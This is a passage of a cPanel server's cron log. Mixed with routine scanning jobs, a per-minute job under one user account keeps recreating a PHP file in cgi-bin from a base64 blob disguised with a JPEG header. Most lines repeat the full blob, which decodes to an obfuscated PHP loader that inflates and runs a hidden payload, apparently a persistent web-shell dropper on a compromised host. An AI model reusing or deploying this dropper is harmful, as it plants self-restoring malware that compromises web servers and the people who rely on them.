"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:45:02 server CROND[19689]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 14:45:02 server CROND[19691]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 14:45:02 server CROND[19692]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:46:01 server CROND[19813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:47:01 server CROND[19889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:48:01 server CROND[20040]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:49:01 server CROND[20093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:50:01 server CROND[20165]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 14:50:01 server CROND[20167]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 14:50:01 server CROND[20166]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 14:50:01 server CROND[20169]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 14:50:01 server CROND[20170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:51:01 server CROND[20291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:52:01 server CROND[20365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:53:01 server CROND[20534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:54:01 server CROND[20605]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:55:01 server CROND[20673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:55:01 server CROND[20674]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 14:55:01 server CROND[20675]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 14:56:01 server CROND[20809]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:57:01 server CROND[20899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5t